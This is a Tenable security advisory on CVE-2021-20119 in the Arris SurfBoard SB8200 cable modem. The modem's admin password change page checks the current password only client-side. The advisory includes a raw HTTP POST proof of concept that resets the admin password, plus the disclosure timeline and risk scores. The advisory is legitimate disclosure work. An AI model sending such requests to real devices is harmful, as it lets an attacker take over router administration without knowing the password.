Arris SurfBoard SB8200 Insecure Password Change Utility

Medium

← View More Research Advisories

Synopsis

Insecure Password Change Utility

The change password utility in the administration console (https://192.168.100.1/changepwd_tab.html) requires a user to know the current admin password prior to changing the password. This verification is done client-side and can be bypassed simply by sending the password change request manually:

```
POST /changepwd_tab.html?YWRtaW46c2FwcGhpcmUx HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Origin: https://192.168.100.1
Connection: close
Referer: https://192.168.100.1/changepwd_tab.html
Cookie: HttpOnly: true, Secure: true; credential=w5ejXGiXewkzXiVX3nsQTJQE1xWI7Mq
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Content-Length: 0
```

The base64 encoding at the end of the above URL (YWRtaW46c2FwcGhpcmUx) translates to admin:sapphire1.

This attack does require a valid user session to be in place.

Solution

The vendor has stated that a fix is in progress but is not yet available.

Disclosure Timeline

August 9, 2021 - Tenable attempts to contact vendor via webform. Vendor responds with contact information. Tenable discloses. Vendor acknowledges.
August 10, 2021 - Vendor requests additional information. Tenable responds.
August 31, 2021 - Vendor requests additional information. Tenable responds.
September 1, 2021 - Vendor acknowledges.
September 7, 2021 - Tenable requests status update. Vendor responds.
September 10, 2021 - Tenable provides requested CVE identifiers.
October 12, 2021 - Tenable requests status update. Vendor asks for clarification about this request.
October 13, 2021 - Tenable provides clarification.
October 15, 2021 - Vendor provides status update and requests additional information, expressing concerns about disclosure of information.
October 20, 2021 - Vendor provides status update. Tenable acknowledges.
November 4, 2021 - Vendor requests advance copy of advisory. Tenable declines request.
November 4, 2021 - Vendor requests locations of media publications.
November 5, 2021 - Tenable provides information. Vendor requests clarification on publication date.
November 8, 2021 - Tenable provides information.

Risk Information

CVE ID: CVE-2021-20119
Tenable Advisory ID: TRA-2021-49
Credit: Jimi Sebree

CVSSv3 Base / Temporal Score: 5.5 / 5.2
CVSSv3 Vector: AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Affected Products: Arris SurfBoard SB8200 AB01.02.053.01_112320_193.0A.NSH
Risk Factor: Medium

Advisory Timeline

November 8, 2021 - Initial release.
December 17, 2021 - Corrected timeline dates.

Tenable.cs Cloud Security

Tenable.io Vulnerability Management

Tenable.io Web App Scanning

Tenable.asm External Attack Surface

Tenable.ad Active Directory

Tenable.ot Operational Technology

Tenable.sc Security Center

Tenable Lumin

Nessus

→ View all Products

FEATURED SOLUTIONS

Application Security

Building Management Systems

Cloud Security Posture Management

Compliance

Exposure Management

Finance

Healthcare

IT/OT

Ransomware

State / Local / Education

US Federal

Vulnerability Management

Zero Trust

→ View all Solutions

CUSTOMER RESOURCES

Resource Library

Community & Support

Customer Education

Tenable Research

Documentation

Trust and Assurance

Nessus Resource Center

Cyber Exposure Fundamentals

System Status

CONNECTIONS

Blog

Contact Us

Careers

Investors

Events

Media